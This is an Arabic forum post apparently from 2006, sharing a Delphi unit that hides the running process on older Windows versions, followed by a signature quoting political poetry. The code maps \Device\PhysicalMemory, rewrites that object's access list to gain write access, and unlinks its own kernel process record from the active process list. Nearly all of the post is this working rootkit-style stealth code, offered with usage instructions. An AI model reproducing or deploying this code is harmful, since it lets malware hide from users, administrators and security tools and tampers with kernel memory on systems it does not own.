Windows, SysUtils, Variants, Classes, AclAPI, accCtrl;
type
NTSTATUS = LongInt;

const
//NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
STATUS_INFO_LENGTH_MISMATCH = NTSTATUS($C0000004);
STATUS_ACCESS_DENIED = NTSTATUS($C0000022);
OBJ_INHERIT = $00000002;
OBJ_PERMANENT = $00000010;
OBJ_EXCLUSIVE = $00000020;
OBJ_CASE_INSENSITIVE = $00000040;
OBJ_OPENIF = $00000080;
OBJ_OPENLINK = $00000100;
OBJ_KERNEL_HANDLE = $00000200;
OBJ_VALID_ATTRIBUTES = $000003F2;

type
PIO_STATUS_BLOCK = ^IO_STATUS_BLOCK;
IO_STATUS_BLOCK = record
Status: NTSTATUS;
FObject: DWORD;
end;

PUNICODE_STRING = ^UNICODE_STRING;
UNICODE_STRING = record
Length: Word;
MaximumLength: Word;
Buffer: PWideChar;
end;

POBJECT_ATTRIBUTES = ^OBJECT_ATTRIBUTES;
OBJECT_ATTRIBUTES = record
Length: DWORD;
RootDirectory: Pointer;
ObjectName: PUNICODE_STRING;
Attributes: DWORD;
SecurityDescriptor: Pointer;
SecurityQualityOfService: Pointer;
end;
PSYSTEM_HANDLE_INFORMATION = ^SYSTEM_HANDLE_INFORMATION;
SYSTEM_HANDLE_INFORMATION = packed record
   ProcessId: dword;
   ObjectTypeNumber: byte;
   Flags: byte;
   Handle: word;
   pObject: pointer;
   GrantedAccess: dword;
   end;

PSYSTEM_HANDLE_INFORMATION_EX = ^SYSTEM_HANDLE_INFORMATION_EX;
SYSTEM_HANDLE_INFORMATION_EX = packed record
   NumberOfHandles: dword;
   Information: array [0..0] of SYSTEM_HANDLE_INFORMATION;
   end;


_SYSTEM_INFORMATION_CLASS = (
		  SystemBasicInformation,
		  SystemProcessorInformation,
		  SystemPerformanceInformation,
		  SystemTimeOfDayInformation,
		  SystemNotImplemented1,
		  SystemProcessesAndThreadsInformation,
		  SystemCallCounts,
		  SystemConfigurationInformation,
		  SystemProcessorTimes,
		  SystemGlobalFlag,
		  SystemNotImplemented2,
		  SystemModuleInformation,
		  SystemLockInformation,
		  SystemNotImplemented3,
		  SystemNotImplemented4,
		  SystemNotImplemented5,
		  SystemHandleInformation,
		  SystemObjectInformation,
		  SystemPagefileInformation,
		  SystemInstructionEmulationCounts,
		  SystemInvalidInfoClass1,
		  SystemCacheInformation,
		  SystemPoolTagInformation,
		  SystemProcessorStatistics,
		  SystemDpcInformation,
		  SystemNotImplemented6,
		  SystemLoadImage,
		  SystemUnloadImage,
		  SystemTimeAdjustment,
		  SystemNotImplemented7,
		  SystemNotImplemented8,
		  SystemNotImplemented9,
		  SystemCrashDumpInformation,
		  SystemExceptionInformation,
		  SystemCrashDumpStateInformation,
		  SystemKernelDebuggerInformation,
		  SystemContextSwitchInformation,
		  SystemRegistryQuotaInformation,
		  SystemLoadAndCallImage,
		  SystemPrioritySeparation,
		  SystemNotImplemented10,
		  SystemNotImplemented11,
		  SystemInvalidInfoClass2,
		  SystemInvalidInfoClass3,
		  SystemTimeZoneInformation,
		  SystemLookasideInformation,
		  SystemSetTimeSlipEvent,
		  SystemCreateSession,
		  SystemDeleteSession,
		  SystemInvalidInfoClass4,
		  SystemRangeStartInformation,
		  SystemVerifierInformation,
		  SystemAddVerifier,
		  SystemSessionProcessesInformation);
	SYSTEM_INFORMATION_CLASS = _SYSTEM_INFORMATION_CLASS;


TZwOpenSection = function(SectionHandle: PHandle;
DesiredAccess: ACCESS_MASK;
ObjectAttributes: POBJECT_ATTRIBUTES): NTSTATUS; stdcall;
TRTLINITUNICODESTRING = procedure(DestinationString: PUNICODE_STRING;
SourceString: PWideChar); stdcall;
TZwQuerySystemInformation=function(
		  SystemInformationClass: SYSTEM_INFORMATION_CLASS;
		  SystemInformation: pointer;
		  SystemInformationLength: ULONG;
		  ReturnLength: PULONG
		  ): NTSTATUS; stdcall;

var
RtlInitUnicodeString: TRTLINITUNICODESTRING = nil;
ZwOpenSection: TZwOpenSection = nil;
ZwQuerySystemInformation:TZwQuerySystemInformation=nil;
g_hNtDLL: THandle = 0;
g_pMapPhysicalMemory: Pointer = nil;
g_hMPM: THandle = 0;
g_hMPM2: THandle = 0;
g_osvi: OSVERSIONINFO;
b_hide: Boolean = false;
//---------------------------------------------------------------------------

function InitNTDLL: Boolean;
begin
g_hNtDLL := LoadLibrary('ntdll.dll');

if 0 = g_hNtDLL then
begin
Result := false;
Exit;
end;

RtlInitUnicodeString := GetProcAddress(g_hNtDLL, 'RtlInitUnicodeString');
ZwOpenSection := GetProcAddress(g_hNtDLL, 'ZwOpenSection');

Result := True;
end;
//---------------------------------------------------------------------------

procedure CloseNTDLL;
begin
if (0 <> g_hNtDLL) then
FreeLibrary(g_hNtDLL);
g_hNtDLL := 0;
end;
//---------------------------------------------------------------------------

procedure SetPhyscialMemorySectionCanBeWrited(hSection: THandle);
var
pDacl: PACL;
pSD: PPSECURITY_DESCRIPTOR;
pNewDacl: PACL;
dwRes: DWORD;
ea: EXPLICIT_ACCESS;
begin
pDacl := nil;
pSD := nil;
pNewDacl := nil;

dwRes := GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pDacl, nil, pSD);

if ERROR_SUCCESS <> dwRes then
begin
if Assigned(pSD) then
LocalFree(Hlocal(pSD^));
if Assigned(pNewDacl) then
LocalFree(HLocal(pNewDacl));
end;

ZeroMemory(@ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions := SECTION_MAP_WRITE;
ea.grfAccessMode := GRANT_ACCESS;
ea.grfInheritance := NO_INHERITANCE;
ea.Trustee.TrusteeForm := TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType := TRUSTEE_IS_USER;
ea.Trustee.ptstrName := 'CURRENT_USER';

dwRes := SetEntriesInAcl(1, @ea, pDacl, pNewDacl);

if ERROR_SUCCESS <> dwRes then
begin
if Assigned(pSD) then
LocalFree(Hlocal(pSD^));
if Assigned(pNewDacl) then
LocalFree(HLocal(pNewDacl));
end;

dwRes := SetSecurityInfo

(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pNewDacl, nil);

if ERROR_SUCCESS <> dwRes then
begin
if Assigned(pSD) then
LocalFree(Hlocal(pSD^));
if Assigned(pNewDacl) then
LocalFree(HLocal(pNewDacl));
end;

end;
//---------------------------------------------------------------------------

function OpenPhysicalMemory: THandle;
var
status: NTSTATUS;
physmemString: UNICODE_STRING;
attributes: OBJECT_ATTRIBUTES;
PhyDirectory: DWORD;
begin
g_osvi.dwOSVersionInfoSize := sizeof(OSVERSIONINFO);
GetVersionEx(g_osvi);

if (5 <> g_osvi.dwMajorVersion) then
begin
Result := 0;
Exit;
end;

case g_osvi.dwMinorVersion of
0: PhyDirectory := $30000;
1: PhyDirectory := $39000;
else
begin
Result := 0;
Exit;
end;
end;

RtlInitUnicodeString(@physmemString, '\Device\PhysicalMemory');

attributes.Length := SizeOf(OBJECT_ATTRIBUTES);
attributes.RootDirectory := nil;
attributes.ObjectName := @physmemString;
attributes.Attributes := 0;
attributes.SecurityDescriptor := nil;
attributes.SecurityQualityOfService := nil;

status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);

if (status = STATUS_ACCESS_DENIED) then
begin
ZwOpenSection(@g_hMPM, READ_CONTROL or WRITE_DAC, @attributes);
SetPhyscialMemorySectionCanBeWrited(g_hMPM);
CloseHandle(g_hMPM);

status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);
end;

if not (LongInt(status) = 0) then
begin
Result := 0;
Exit;
end;

g_pMapPhysicalMemory := MapViewOfFile(g_hMPM,
FILE_MAP_READ or FILE_MAP_WRITE, 0, PhyDirectory, $1000);

if (g_pMapPhysicalMemory = nil) then
begin
Result := 0;
Exit;
end;

Result := g_hMPM;
end;
//---------------------------------------------------------------------------

function LinearToPhys(BaseAddress: PULONG; addr: Pointer): Pointer;
var
VAddr, PGDE, PTE, PAddr, tmp: DWORD;
begin
VAddr := DWORD(addr);
// PGDE := BaseAddress[VAddr shr 22];
PGDE := PULONG(DWORD(BaseAddress) + (VAddr shr 22) * SizeOf(ULONG))^; // Modify by dot.

if 0 = (PGDE and 1) then
begin
Result := nil;
Exit;
end;

tmp := PGDE and $00000080;

if (0 <> tmp) then
begin
PAddr := (PGDE and $FFC00000) + (VAddr and $003FFFFF);
end
else
begin
PGDE := DWORD(MapViewOfFile(g_hMPM, 4, 0, PGDE and $FFFFF000, $1000));
// PTE := (PDWORD(PGDE))[(VAddr and $003FF000) shr 12];
PTE := PDWORD(PGDE + ((VAddr and $003FF000) shr 12) * SizeOf(DWord))^; // Modify by dot.

if (0 = (PTE and 1)) then
begin
Result := nil;
Exit;
end;

PAddr := (PTE and $FFFFF000) + (VAddr and $00000FFF);
UnmapViewOfFile(Pointer(PGDE));
end;

Result := Pointer(PAddr);
end;
//---------------------------------------------------------------------------

function GetData(addr: Pointer): DWORD;
var
phys, ret: DWORD;
tmp: PDWORD;
begin
phys := ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr)));
tmp := PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_READ or FILE_MAP_WRITE, 0,
phys and $FFFFF000, $1000));

if (nil = tmp) then
begin
Result := 0;
Exit;
end;

// ret := tmp[(phys and $FFF) shr 2];
ret := PDWORD(DWORD(tmp) + ((phys and $FFF) shr 2) * SizeOf(DWord))^; // Modify by dot.
UnmapViewOfFile(tmp);

Result := ret;
end;
//---------------------------------------------------------------------------

function SetData(addr: Pointer; data: DWORD): Boolean;
var
phys: DWORD;
tmp: PDWORD;
begin
phys := ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr)));
tmp := PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys and $FFFFF000, $1000));

if (nil = tmp) then
begin
Result := false;
Exit;
end;

// tmp[(phys and $FFF) shr 2] := data;
PDWORD(DWORD(tmp) + ((phys and $FFF) shr 2) * SizeOf(DWord))^ := data; // Modify by dot.
UnmapViewOfFile(tmp);

Result := TRUE;
end;
//---------------------------------------------------------------------------
{long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)
begin
ExitProcess(0);
return 1;
end }
//---------------------------------------------------------------------------
function GetEprocessFromPid (   PID :ULONG):DWORD;
var
status:NTSTATUS;
buf   :pointer;
size  :ULONG;
NumOfHandle :ULONG;
i:ULONG;
h_info :PSYSTEM_HANDLE_INFORMATION_EX;//PSYSTEM_HANDLE_INFORMATION;
label GetEprocessFromPid_exit;
begin
buf  := nil;
size  := 1;
NumOfHandle := 0;
h_info  := nil;
	size := 1;
	repeat
		buf:= VirtualAlloc(nil, size, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE);
		if ( buf=nil )then
		begin
		   // fprintf( stderr, "calloc( %u, 1 ) failed\n", size );
			goto GetEprocessFromPid_exit;
		end;
		status := ZwQuerySystemInformation( SystemHandleInformation, buf, size, nil );
		if (  status <>0 )then
		begin
			if ( STATUS_INFO_LENGTH_MISMATCH = status )then
			begin
				VirtualFree(buf, 0, MEM_RELEASE);
				buf := nil;
			end
			else
			begin
				MessageBox(0,'ZwQuerySystemInformation() failed','Error',MB_OK);
				goto GetEprocessFromPid_exit;
			end;
		end
		else
			break;
	   size :=size* 2;
	until (status <> STATUS_INFO_LENGTH_MISMATCH); 

	h_info :=  PSYSTEM_HANDLE_INFORMATION_EX (ULONG(buf));
	NumOfHandle :=h_info.NumberOfHandles;

	for i := 0 to NumOfHandle do
	begin
		if((h_info^.Information.ProcessId = PID)and	
		(h_info^.Information.ObjectTypeNumber=5 ))then//&&( h_info.Handle==0x3d8 ) )
		begin
			result:=(DWORD(h_info^.Information.pObject));
			exit;
		end;
	end;
GetEprocessFromPid_exit:
	if ( buf <> nil )then
	begin
		freemem( buf );
		buf := nil;
	end;
	result:=0;
end;
(*
* ntdll.dll
*)
function  LocateNtdllEntry ():bool;
var
	 ret :bool;
	 NTDLL_DLL:pchar;
	 ntdllmod :HMODULE;
begin
  ret  := FALSE;
  NTDLL_DLL:= 'ntdll.dll';
  ntdllmod := NULL;
  ntdllmod := GetModuleHandle( NTDLL_DLL );
	if (  ntdllmod= 0 ) then
	begin
		MessageBox(0,'GetModuleHandle() failed','Error',MB_OK);
		result:=FALSE;
		exit;
	end;
	ZwQuerySystemInformation := GetProcAddress( ntdllmod, 'ZwQuerySystemInformation' );
	if ( @ZwQuerySystemInformation=nil )then
	begin
		//goto LocateNtdllEntry_exit;
		ret:=false
	end
	else 
	ret := TRUE;

//LocateNtdllEntry_exit:

	if ( FALSE = ret )then
	begin
		MessageBox(0,'GetProcAddress() failed','Error',MB_OK);
	end;
	ntdllmod := 0;
	result:=ret;
end;
function YHideProcess: Boolean;
var
thread, process: DWORD;
fw, bw: DWORD;
f,b:integer;
osvi:OSVERSIONINFO;
begin
// SetUnhandledExceptionFilter(exeception);
if (FALSE = InitNTDLL) then
begin
Result := FALSE;
Exit;
end;

if (0 = OpenPhysicalMemory) then
begin
Result := FALSE;
Exit;
end;


	osvi.dwOSVersionInfoSize:=sizeof(osvi);
	GetVersionEx(osvi);
	//f=0x88;b=0x8c;

	if(osvi.dwMajorVersion=5)then
	begin
		if(osvi.dwMinorVersion=0)then//win2k
		begin
			f:=$a0;b:=$a4;
		end
		else if(osvi.dwMinorVersion=1)then//winxp
		begin
			f:=$88;b:=$8c;
		end
		else if(osvi.dwMinorVersion=2)then//win2003
		begin
			f:=$8a;b:=$8e;
		end
		else
		begin
		  result:=FALSE;
		  exit;
		end;
	end
	else if((osvi.dwMajorVersion=4) and (osvi.dwMinorVersion=0) and
	  (osvi.dwPlatformId=2))then//NT
	begin
		f:=$98;b:=$9c;
	end
	else
	begin
	  result:=FALSE;
	  exit;
	end;
//thread := GetData(Pointer($FFDFF124)); //kteb
//process := GetData(Pointer(thread + $44)); //kpeb
LocateNtdllEntry( );
OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );
process:=ULONG(GetEprocessFromPid( DWORD(GetCurrentProcessId )));
fw:=GetData(pointer(process+f));
bw:=GetData(pointer(process+b));
SetData(pointer(fw+4),bw);
SetData(pointer(bw),fw);

UnmapViewOfFile(g_pMapPhysicalMemory);
CloseHandle(g_hMPM);
CloseNTDLL();
end;

function MyHideProcessFun: Boolean;
begin
if not b_hide then
begin
b_hide := YHideProcess;
end;

Result := b_hide;
end;

end.

للاستخدام يتم استدعاء MyHideProcessFun ..

cipher

تم تعديل هذه المشاركة بواسطة cipher في 24 أغسطس 2006 في 17:09

"First they ignore you, then they laugh at you, then they attack you, then you win"

===

اقتباس

حُكَّامُـنَا إِنْ تَصَـدّوا لِلْحِمَــى اقْتَحَمُـوا ***** وَإِنْ تَصَدَّى لَـهُ المُسْتَعْمِـرُ انْسَحَبُـوا

هُمْ يَفْرشـُونَ لِجَيْـشِ الغَــزْوِ أَعْيُنَـهُـمْ ***** وَيَدَّعُــونَ وُثُـوبَـاً قَـبْـلَ أَنْ يَثِـبُــوا

الحَاكِمُـونَ و«وَاشُنْـطُـنْ» حُكُومَتُـهُـمْ ***** وَاللامِعُــونَ وَمَـا شَعَّـوا وَلا غَرَبُــوا

القَاتِلُـــونَ نُبُــوغَ الشَّـعْــبِ تَرْضِـيَـــةً ***** لِلْمُعْتَدِيــنَ وَمَـا أَجْـدَتْـهُـمُ الـقُــرَبُ

لَهُمْ شُمُـوخُ «المُثَنَّـى» ظَاهِـرَاً وَلَهُـمْ ***** هَـوَىً إِلَـى بَابَـك الخَرْمِـيّ يُنْتَسَـبُ

البردوني "أبو تمام وعروبة اليوم" 1971

===

اقتباس
عبيد الهوى يحكمون البـلاد ***** ويحكمهــم كلّهـــم درهــــــم

و تقتـادهـم شهـوة لا تنــام ***** وهـــم فـي جـهالتهــم نــــوّم

ففــي كـــلّ ناحيــة ظـالـــم ***** غبــــــيّ يسـلـّطــــه أظلـــم

أيا من شبعتم على جوعــنا ***** وجـــوع بنينـا ألـم تتخمـــوا ؟

ألم تفهموا غضبة الكادحين ***** على الظلـم ؟ لا بدّ أن تفهموا

البردوني "نحن و الحاكمون "

هذا الموضوع مغلق.

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…